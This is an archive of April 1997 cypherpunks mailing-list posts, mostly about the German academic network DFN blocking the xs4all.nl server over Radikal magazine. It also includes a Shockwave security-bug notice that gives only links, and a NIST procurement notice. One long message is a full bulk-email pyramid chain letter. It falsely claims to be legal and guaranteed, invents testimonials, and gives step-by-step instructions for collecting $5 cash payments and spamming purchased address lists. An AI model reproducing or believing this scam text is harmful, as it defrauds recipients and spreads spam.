~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Wed, 16 Apr 1997 15:49:52 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: xs4all.nl
In-Reply-To: <TCPSMTP.17.4.16.2.17.12.2780269260.1605789@nycmetro.com>
Message-ID: <199704162249.RAA01826@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


The German Academic Internet Provider, DFN, decided to block access 
to xs4all because it hosts a radical left-wing ezine called -Radikal 
magazine http://www.xs4all.nl/~radikal/index.html 
which is said to contain content in violation of german law.

They are blocking the whole site though the ezine is only a minor 
portion of the content on their site they are being penalized

The folks at the mag and xs4all are looking for people willing to put 
up mirror sites to thwart the DFN's efforts.

Dr Klaus-Eckart Maass is apparently running point for the 
DFN-fielding calls and dealing with the press- here are a few 
mail to:links and URLs to add to the phone number already provided.



DFN pressrelease 	- http://www.dfn.de/dfn/sperrung.html 
Dr. Klaus-Eckart Maass  - http://rigel.dfn.de/adressen/maass.html 
Managing Director DFN   - maass@dfn.d400.de 
DFN website             - http://www.dfn.de





From:          harka@nycmetro.com
Date:          Wed, 16 Apr 1997 02:17:12 -0500 
Subject:       xs4all.nl
To:            cypherpunks@toad.com

-----BEGIN PGP SIGNED MESSAGE-----

The DFN - science network in Germany has blocked access to the
dutch xs4all.nl server after an order of the Bundeskriminalamt
(BKA), the german FBI.

Users of DFN have confirmed that today. If somebody wants to follow
up on it, the public relation office of DFN can be reached at (49)
030 - 884-29942 (Miss Quandel).

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM1MgGTltEBIEF0MBAQHUkAf+LUKqgm6dz7jhKQtrJPZsHk6PSZyGnK43
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sdmKG5u9kDt3fagWxglrw3xTKeff9orwUdUUVJfWG2mmNxtG3DkDCIxlEIRM1sP+
ML3N1KayyRkZLwBVu/kpI+8I3dswYTApTs9GnBTRGssdXbitBWTBsXvRREPpTufO
WEAXdwvZQf8Cr4PGco/dtvyiVE+wZhOUblpcpEqBVkLJp+pmRxxg8GcUu7FEANKi
FqehcaPpQnwsHmY9ujFEUJaiwa3XxVDUBRVt+FHAO3/JkmqkL12dpA==
=8wdj
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...


**********************************************************************
Charles Anthony
canthony@info-nation.com
http://www.info-nation.com

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Version: 2.6.3a

mQBtAzM63W8AAAEDAMRi15+AIXC0j2R7IrdeNhM7AQXPGAYAd2mCNhKrQa09fICZ
4jEpTd0biV+3nMAL6/6pWUm1AmFPS/FngecmXkrmMPlbgv3O0dapbJ2/FQf3XUtH
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gy55OqPp+Rf77On0XhmHoi98Y4HOSTHYPhN9o9zQQ+pn/4HmxQ4Tbtih2sCDNvmG
b2g=
=0pHR
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 16 Apr 1997 18:03:06 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Digi-Cash IPO! $1.60 per share ( remove )
In-Reply-To: <199704160443.XAA02051@manifold.algebra.com>
Message-ID: <Jc305D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> i think that advertiser funded digital cash was first described
> by dr dimitri vulis kotm, in his recent post to cypherpunks.
>
> too bad he did not patent it.

Patents and copyrights violate true free speech.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Wed, 16 Apr 1997 18:08:21 -0700 (PDT)
To: news.groups@news.news.demon.net
Subject: Re: 2nd RFD: sci.chem.organic.synthesis moderated
Message-ID: <199704170104.UAA11294@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


Koen Van Aken (cheakv@panther.gsu.edu) wrote in <861165888.2842@isc.org>:
* 
* At the end of each article, a full name and e-mail address is
* mandatory. Listing of position and association is optional but
* strongly encouraged.

... snip ...

* CHARTER: sci.chem.organic.synthesis
 
 
* This proposal is pro moderation to filter out unwanted (see not
* permitted postings) and 'anonymous' (see signature policy) messages.
* Although there are some disadvantages associated with moderated
* groups - some people compare it with censorship and it slows down
* the discussion - , sci.* groups have been plagued before with off-
* topic discussions which eventually turned users away.

I fail to see any reason why you need to filter out "anonymous" email.
I think that restricting anonymous email goes a long way against ability
to discuss important issues in general. I find it overly restrictive and 
unwarranted.

Your explanation as to why you find it necessary to exclude anonymous
postings from your particular newsgroup will be much appreciated.

igor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 16 Apr 1997 17:17:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Shocked e-mail
Message-ID: <TCPSMTP.17.4.16.-12.10.38.2780269260.1606713@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 In> SHOCKWAVE Security BUG EXPOSES E-MAIL
 In> -----------------------------------------
 In> Comet Hale-Bopp must be a portent of Web security disasters. This site
 In> details the next one - if you are running Netscape with the insanely
 In> popular Shockwave plug-in on any platform, the bad guys can read your
 In> e-mail folders. In addition, no matter which browser you are running,
 In> your corporate intranet could be vulnerable even if located behind
 In> a firewall. Fortunately, a security fis available.
 In> Problem:-http://www.webcomics.com/shockwave/
 In> Fix:-http://www.macromedia.com/shockzone/info/security.html
 In> Enjoy it, See you soon.
 In> Arun Tripathi


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... Link in support of Free Speech: http://www.xs4all.nl/~radikal/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM1VuJjltEBIEF0MBAQFt3gf/acKyaf813olMN334Q/83sWpbIoOjXWWJ
q5PkyqFgAI2oTyUUXQIX/KugWxXhq0uyjJq+a9fLn9RKJQ3eVcm+Lccn+1k/EmSv
hC68LfS+YMS+cGnU/VA9GYlk94Sf/PcQA5fk3wI21DUd4xjxR1EnZ+1TW8U1NbcU
3j3/T5MEFP4FymgACozCk0lY8MMBEtGcReYHJICHP4/tgW8z18/7lzegl0wNP0F6
eS1bVwf7ub+sIsnXvD0Mqvyb1f0KUFqJOBbqKA6LJtm7dcHAIWzpl/k05Ekl5xRc
1YBnkFbjQspsBSsULwVWS7eEQ43IpU0UC21Qwp5UZ7DYlMad7bjUQA==
=IHkF
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 16 Apr 1997 19:50:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Neo-Nazis indict Compuserve official
In-Reply-To: <v03007803af7b30567f9f@[207.167.93.63]>
Message-ID: <wX605D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> increased monitoring of lists like this, Germany may place my name on a
> list of those to be arrested if they enter Germany. Or, as the recent case
> of a publisher of Neo-Nazi materials in the U.S. showed, for detention and
> subsequent extradition to Germany upon entry into any European Union
> nation. In fact, I'll bet that Black Unicorn is on such a list; if they can
> figure out what his real name is, and if he strays into EU territory....))

Yikes!  We better not post it to this mailing list, then.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Wed, 16 Apr 1997 12:44:16 -0700 (PDT)
To: tank@xs4all.nl
Subject: Xs4all website censored by German academic network
Message-ID: <199704161936.VAA04978@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




GERMAN NATIONAL ACADEMIC PROVIDER BLOCKS XS4ALL WEBSITE IN THE NETHERLANDS


Amsterdam, 16 april 1997


Since April 11th 1997, the dutch XS4ALL website www.xs4all.nl has been
censored by Deutsches Forschungsnetz, the German academic Internet
provider. This was confirmed today by Dr. Klaus-Eckart Maass, managing
director of Deutsches Forschungsnetz in a press release.
(http://www.dfn.de/dfn/sperrung.html).

An Xs4all subscriber (http://www.xs4all.nl/~radikal) publishes a
magazine which is considered to be illegal in Germany. The German State
Prosecutor has 'informed' Deutsches Forschungsnetz about the presence
of this magazine, which has resulted in the censorship of the entire
XS4ALL website.

Of the 6000 homepages on the XS4ALL, only one of those contains the
Radikal magazine. Other XS4ALL homepages include artists, research
materials, shops, activists and other information sources like the
formerly censored Serbian radiostation B92
(http://www.xs4all.nl/~opennet) and its 24hr/day radiobroadcasts on
Internet. All these 6000 homepages are now unavailable to the German
academic Internet community.

The decision to censor the xs4all webserver because of the radikal
publication will probably cause and this censored magazine to become
more popular on the Net. Censoring the Internet has, in most cases,
proved to be counterproductive as many Internet users mirror the
information on to their own sites and start to distribute it.

In September 1996, a number of German providers organised a similar
block of the XS4ALL website after complaints by the State Prosecutor.
This block was lifted after four weeks, but resulted in a vast mirror
network. Today, there are still more than 40 mirror websites of the
radikal home page around the world. These mirror-sites were placed on
the Net more than six months ago. Why does Deutsches Forschungsnetz
only block the xs4all webserver when the information on this website is
known to have been mirrored all around the world for at least six
months? XS4ALL intends to send Mr. Klaus-Eckart Maass a message
informing him about these mirrorsites. In principle he should then
be obliged to block these other sites where radikal nr. 154 can also
be found

XS4ALL has not yet received any official communication from the German
justice department, nor from the Dutch justice department. Our policy
is that as a provider we are not in the position to judge whether this
magazine is illegal in the Netherlands, therefore we do not interfere
with the liberty of speech of our user. If there's any doubt about the
legality of the publication in Holland, a Dutch court of law would be
the proper place to remove these doubts. Therefore our user would have
to be tried by the Dutch justice-department.


Relevant information:

Radikal magazine        - http://www.xs4all.nl/~radikal/index.html
Radikal mirrorlist      - http://www.xs4all.nl/~tank/radikal/mirror.html 
DFN pressrelease 	- http://www.dfn.de/dfn/sperrung.html 
Dr. Klaus-Eckart Maass  - http://rigel.dfn.de/adressen/maass.html 
Managing Director DFN   - maass@dfn.d400.de 
DFN website             - http://www.dfn.de


-- 
XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe@xs4all.nl for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 17 Apr 1997 03:50:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Neo-Nazis indict Compuserve official
Message-ID: <199704171050.DAA19976@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen wrote:
> 
> My understanding is that they were upset about Compu$erve carrying a game
> containing such images.  (The quote seems to be missing a paragraph.)  The
> game sounds suspiciously like Castle Wolfenstien 3D (i.e. "Doom 0".) to me.

"Those who do not understand Doom are history and repeat the level."
Six-Inch Nails






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Thu, 17 Apr 1997 01:55:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: InterNet Free Terra
Message-ID: <08550355601336@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain





  A Web page named "InterNet Free Terra" can be accessed at the URL:
http://www3.sk.sympatico.ca/carljohn/

  It has been set up in order to provide URL pointers to Mirrors of
Web sites which have been subjected to censorship by governmental
authorities.

  Its first category is "InterNet Free Europe" and the first entry
is a list of Mirror sites for the Radikal Web site.

  Anyone who wishes to have Mirror site pointers added for other 
government censored Web sites may send mailto:carljohn@sk.sympatico.ca 

  Those submitting Mirror site pointers may want to include 
pointers to information and/or press releases regarding the
date and details of the censorship action, as there are plans
to include access to these details, as well as to the pointers
themselves. 



************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rose <rose@lords.com>
Date: Thu, 17 Apr 1997 04:16:23 -0700 (PDT)
To: "cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199704171115.EAA00880@cascade.pacificrim.net>
MIME-Version: 1.0
Content-Type: text/plain





****************************************************************************
*This message provided by BULK E-MAIL. If you would like to be removed from*
*further mailings, please return this message with "remove in the subject  *
*line. This service will not contact you again. Thank You For Your Patience*
****************************************************************************

Dear friend,

The following income opportunity is one you may be interested in taking 
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<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
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By January 13th, I had received 26 orders for REPORT #1.  When you read
the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 
TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,  
SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making 
$50,000 in 20 to 90 days was done.  By January 30th, I had received 
196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU 
MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN 
TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  
ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU
WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2,
96 more than I needed.  So I sat back and relaxed.  By March 19th, of
my mailing of 10,000, I received $58,000 with more coming in every
day.

I paid off  ALL my debts and bought a much needed new car.  Please take
time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work,
but you must follow it EXACTLY!  Especially the rules of not trying to
place your name in a different place.  It doesn't work, you'll lose out
on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for
REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It really
is a great opportunity with little cost or risk to you.  If you choose
to participate, follow the program and you will be on your way to
financial security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

					Sincerely,
					Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled
up on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

					Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free lunch
in life.  You get out of life what you put into it.'  Through trial and
error and a somewhat slow frustrating start, I finally figured it out.
The program works very well, I just had to find the right target group
of people to email it to.  So far this year, I have made over $63,000
using this program.  I know my dad would have been very proud of me."

					Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business for
ten years.  Then in 1979 my business began falling off.  I was doing
the same things that were previously successful for me, but it wasn't
working.  Finally, I figured it out.  It wasn't me, it was the economy.
Inflation and recession had replaced the stable economy that had been
with us since 1945.  I don't have to tell you what happened to the
unemployment rate...because many of you know from first hand experience.
There were more failures and bankruptcies than ever before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET
POORER."  The traditional methods of making money will never allow you
to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US and
overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
It works exceedingly well as it is now.  Remember to email a copy of
this exciting program to everyone that you can think of.  One of the
people you send this to may send out 50,000...and your name will be on
every one of them!.  Remember though, the more you send out, the more
potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take
a little time to read it and REALLY THINK ABOUT IT.  Get a pencil and
figure out what could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested.  Any
doubts you have will vanish when your first orders come in.  IT WORKS!

					Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With a
5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU 
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE 
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe 
me, many people will do that and more!  By the way, your cost to participate 
in this is practically nothing.  You obviously already have an internet
connection 
and email is FREE!!!  REPORT#3 will show you the best methods for bulk
emailing
and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford Research
and The Wall Street Journal have stated that between 50% and 65% of all
goods and services will be sold throughout Multi-level Methods by the
mid to late 1990's.  This is a Multi-Billion Dollar industry and of the
500,000 millionaires in the US, 20% (100,000) made their fortune in the
last several years in MLM.  Moreover, statistics show 45 people become
millionaires everyday through Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
involved in personal selling.  You do it privately in your own home,
store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
           by ordering the REPORT from each of the four 4 names listed
           on the next page.  For each REPORT, send $5 CASH and a SELF-
           ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
           person listed for the SPECIFIC REPORT.  International orders
           should also include $1 extra for postage.  It is essential
           that you specify the NAME and NUMBER of the report requested
           to the person you are ordering from.  You will need ALL FOUR
           4 REPORTS because you will be REPRINTING and RESELLING them.
           DO NOT alter the names or sequence other than what the
           instructions say.  IMPORTANT:  Always provide same-day
           service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
           POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will tell
           you the best methods of bulk emailing and acquiring email
           lists.

Step (4)   Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can encourage
           them to take  advantage of this  fabulous  money-making
           opportunity.  That's what I did.  And they love me now, more
           than ever.  Then, email to anyone and everyone!  Use your
           imagination!  You can get email addresses from companies on
           the internet who specialize in email mailing lists.  These
           are very cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

RWD&CO
P.O. Box 2225
Friday Harbor, WA   98250

________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

M.S.DEWLES DISTRIBUTOR	
P.O.BOX 29322
PARMA, OHIO 44129



________________________________________________________
REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

DSN
7154 West State  #298
Boise, ID  83703


___________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

WCH MARKETING
6225 RIPTIDE DRIVE
WILMINGTON, N.C. 28403


________________________________________________________

CONCLUSION

.I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,

retire or take a vacation.  No longer will a lack of money hold you
back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say
"NO" than "YES", and this is the question that you must answer.  Will
YOU ignore this amazing opportunity or will you take advantage of it?
If you do nothing, you have indeed missed something and nothing will
change.  Please re-read this material, this is a special opportunity.
If you have any questions, please feel free to write to the sender of
this information.  You will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have probably
received chain letters, asking you to send money, on faith, but getting
NOTHING in return, NO product what-so-ever!  Not only are chain letters
illegal, but the risk of someone breaking the chain makes them quite
unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed material,
the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful
to you in any other business decisions you make in the years ahead.
You are also buying the rights to reprint all of the REPORTS, which
will be ordered from you by those to whom you mail this program.  The
concise one and two page REPORTS you will be buying can easily be
reproduced at a local copy center for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program.  But conservative as I am, I
decided that the initial investment was so little that there was no way
that I could not get enough orders to at least get my money back.  BOY,
was I ever surprised when I found my medium sized post office box
crammed with orders!  I will make more money this year than any ten
years of my life before."

					Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the
orders start coming in.  When you receive a $5 order, you MUST send out
the product/service to comply with US Postal and Lottery laws.  Title
18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.	Name your new company. You can use your own name if you desire.

2.	Get a post office box (preferred).

3.	Edit the names and addresses on the program. You must remember,
        your name and address go next to REPORT #1 and the others all
        move down one, with the fourth one being bumped OFF the list.

4.	Obtain as many email addresses as possible to send until you
        receive the information on mailing list companies in REPORT #3.

5.	Decide on the number of programs you intend to send out.  The
        more you send, and the quicker you send them, the more money
        you will make.

6.	After mailing the programs, get ready to fill the orders.

7.	Copy the four 4 REPORTS so you are able to sent them out as
        soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
        SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

8.	Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
within two weeks, email out more programs until you do.  Then a couple
of weeks later you should receive at least 100 orders for REPORT #2, if
you don't, send out more programs until you do.  Once you have received
100 or more orders for REPORT #2, (take a deep breath) you can sit back
and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
participated in the program and reached the above GUARANTEES-ALL have
reached their $50,000 goal.  Also, remember, every time your name is
moved down the list you are in front of a different REPORT, so you can
keep track of your program by knowing what people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."


 
This message was sent using an evaluation version of WWMail
WWMail is available at: http://wizardware.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 17 Apr 1997 07:31:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: NIST Joins CommerceNet...
Message-ID: <v03020902af7bb5e9ee5c@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Ah...

Don't you just love sunshine laws?

Notice they effectively call CommerceNet "the only" "consortium which
develops and maintains an Internet-based infrastructure for electronic
commerce".

Cheers,
Bob Hettinga

--- begin forwarded text


Date: Wed, 16 Apr 1997 06:41:48 -0500 (CDT)
Mime-Version: 1.0
To: <other people>, rah@shipwright.com
From: Somebody
Subject:

[Commerce Business Daily: Posted April 15, 1997]
>From the Commerce Business Daily Online via GPO Access
[cbdnet.access.gpo.gov]

PART: U.S. GOVERNMENT PROCUREMENTS
SUBPART: SERVICES
CLASSCOD: D--Information Technology Services, including Telecommunication
  Services
OFFADD: National Institute of Standards & Technology, Acquisition
  & Assistance Div., Bldg. 301, Rm B117, Gaithersburg, MD 20899
SUBJECT: D--MEMBERSHIP IN A CONSORTIUM WHOSE MISSION IS TO CONDUCT
  GROWTH IN INTERNET-BASED ELECTRONIC COMMERCE.
SOL 53SBNB760110
DUE 043097
POC Trena N. Bercaw (301) 975-6324// Fax (301) 963-7732
DESC: The National Institute of Standards and Technology (NIST)
  has a requirement to become a member of an existing consortium
  which develops and maintains an Internet-based infrastructure
  for electronic commerce. NIST requires interaction between
  industry leaders, in the research and development of a next
  generation infrastructure for electronic commerce. The consortium
  shall be able to accelerate Internet-based electronic commerce
  by identifying and working to resolve key industry issues,
  providing a global, multi-industry forum for collaboration,
  and serving as an advocate through public policy and education.
  This membership shall be for a period of one (1) year. It is
  the intent of the Government to negotiate with CommerceNet,
  of Palo Alto, California, under 41 U.S.C. 253 (c)(1), as the
  only responsible source able to fulfil the requirement of this
  agency. No solicitation package is available. Inquiries may
